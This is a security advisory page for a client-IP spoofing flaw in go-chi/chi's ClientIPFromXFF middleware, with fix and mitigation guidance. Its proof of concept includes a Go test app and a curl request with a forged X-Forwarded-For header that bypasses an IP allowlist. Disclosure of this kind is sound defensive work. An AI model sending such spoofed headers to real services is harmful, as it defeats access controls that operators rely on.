CVE-2026-114437 — chi
Fix: go-chi/chi#1214CVE-2026-114437 is a CWE-348 vulnerability in github.com/go-chi/chi/v5. A fix is available for github.com/go-chi/chi/v5 — see the affected versions and patch details below.
Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/go-chi/chi/v5Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).
Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.
- Send
GET /admindirectly to the origin with noX-Forwarded-Forheader. - Observe a
403 Forbiddenresponse and an empty derived client IP. - Repeat the request with
X-Forwarded-For: 10.0.0.7, 198.51.100.42. - Observe
200 OKandclient-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.
Details
The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:
walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
ip, ok := parseHeaderAddr(v)
if !ok {
return true
}
if inAnyPrefix(ip, prefixes) {
return false
}
found = ip
return true
})
The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.
Proof of concept
Using Go 1.24 or later, create and run this minimal application against the tested revision:
mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
const allowedIP = "10.0.0.7"
func main() {
r := chi.NewRouter()
r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
clientIP := middleware.GetClientIP(r.Context())
if clientIP != allowedIP {
http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
return
}
fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
})
log.Print("listening on http://127.0.0.1:3001")
log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .
The no-header control was rejected:
$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48
denied: tcp-peer="127.0.0.1:54416" client-ip=""
Adding the forged chain authorized the same direct client:
$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8
allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
Impact
I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/go-chi/chi/v5 | all versions | 5.4.0go get github.com/go-chi/chi/v5@v5.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/go-chi/chi/v5, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/go-chi/chi/v5 to 5.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-114437 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as Moderate severity because exploitation requires direct network access to bypass reverse proxies and only affects services configured to rely on the optional ClientIPFromXFF middleware for security decisions. In standard Red Hat product architectures, backend components are deployed…
Restrict network exposure so that the application only accepts connections from trusted reverse proxies or load balancers, preventing direct client reachability: 1. Configure firewall rules on the host to only allow traffic from trusted proxy IP addresses to the application port: ``` firewall-cmd --permanent --zone=trusted --add-source=<TRUSTED_PROXY_IP> firewall-cmd --permanent --remove-port=<PORT>/tcp firewall-cmd --reload ``` 2. In OpenShift or Kubernetes environments, apply an Ingress NetworkPolicy ensuring pod endpoints only accept traffic from designated ingress router controllers. 3. Configure the upstream reverse proxy (e.g., Envoy, HAProxy, or NGINX) to strip or sanitize incoming…Source: Red Hat security advisory for CVE-2026-114437 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-114437 in your dependencies?
Find it across Go, including transitive dependencies.